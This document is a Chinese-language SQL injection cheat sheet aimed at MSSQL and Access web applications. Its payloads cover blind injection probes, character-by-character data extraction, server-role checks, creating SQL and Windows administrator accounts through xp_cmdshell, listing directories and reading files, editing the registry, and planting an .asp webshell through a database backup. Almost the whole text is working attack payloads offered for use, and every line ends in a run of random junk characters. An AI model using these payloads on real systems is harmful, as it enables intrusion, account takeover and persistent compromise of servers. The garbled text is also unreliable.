1.判断是否有注入;and 1=1 ;and 1=2 g(9\r
2.初步判断是否是mssql ;and user>0 4s{_(gy
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3.注入参数是字符'and [查询条件] and ''=' WGG
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 3F/05}d`
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5.判断数据库系统 }M9R5!=q
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;and (select count(*) from sysobjects)>0 mssql A>SXc%K
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;and (select count(*) from msysobjects)>0 access $M `%A
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 {|{}]B
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ;THb6Jz/+
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ubq4Zv7'
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9.(1)猜字段的ascii值(access) *Ey5F/N}$H
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 <4caG2~q
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(2)猜字段的ascii值(mssql) q(N2#di
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
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10.测试权限结构(mssql) K2=`.
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- z0XH`H|~
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- X)-9u 8
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- }7`HJ>+m)H
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 41pk )8~pt
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- H|E{n/g
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- XxN=vL&m
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;and 1=(select IS_MEMBER('db_owner'));-- Q}a, f75
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11.添加mssql和系统的帐户 Rn l
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;exec master.dbo.sp_addlogin username;-- 8{mQmG4
;exec master.dbo.sp_password null,username,password;-- h)O<bI8
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Iyo ey
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;exec master.dbo.xp_cmdshell 'net user username password t>04nN_@,s
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- [1I>Bc&o*
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- I'23$IzPA
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- XIv{jzgF
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12.(1)遍历目录 1P"akc
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;create table dirs(paths varchar(100), id int) LGxQ>f[V
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;insert dirs exec master.dbo.xp_dirtree 'c:\' P'4oI0Bw
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;and (select top 1 paths from dirs)>0 o6@Hj+,,
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) f8>S<:
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(2)遍历目录 U}c[oA
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- lX)RG*FlTC
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 4JF8S#8B
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 IIN"'7Z^R
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 *`}4]OGv.
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Vrz6<c-'B
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13.mssql中的存储过程 Ov
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xp_regenumvalues 注册表根键, 子键 Cm4$&?
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 yIS.'mK
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xp_regread 根键,子键,键值名 P,S$qD*4
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;exec xp_regread 8[\(*E}d!X
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 {J:ZM"GS
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xp_regwrite 根键,子键, 值名, 值类型, 值 V^qZ~US
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 L{>XT
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xp_regdeletevalue 根键,子键,值名 gE,i
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 jni }o m
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 8T5s6EmIOW
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14.mssql的backup创建webshell bSW!2#~
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use model TQx''$j\
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create table cmd(str image); %@<}z|.4
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insert into cmd(str) values (''); ~rBeJZ
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backup database model to disk='c:\l.asp'; & A=q _
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15.mssql内置函数 &`7tX.iMlh
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;and (select @@version)>0 获得Windows的版本号 -I1Ne^DZn4
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa Y(WX`\M97
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;and (select user_name())>0 爆当前系统的连接用户 5 ^}zysY`
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;and (select db_name())>0 得到当前连接的数据库 _oxc~v\<
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16.简洁的webshell XUUl*5^
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use model dMsX}=EI<
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create table cmd(str image); #vhxW=L`=
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insert into cmd(str) values (''); RdlcJxM
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backup database model to disk='g:\wwwtest\l.asp';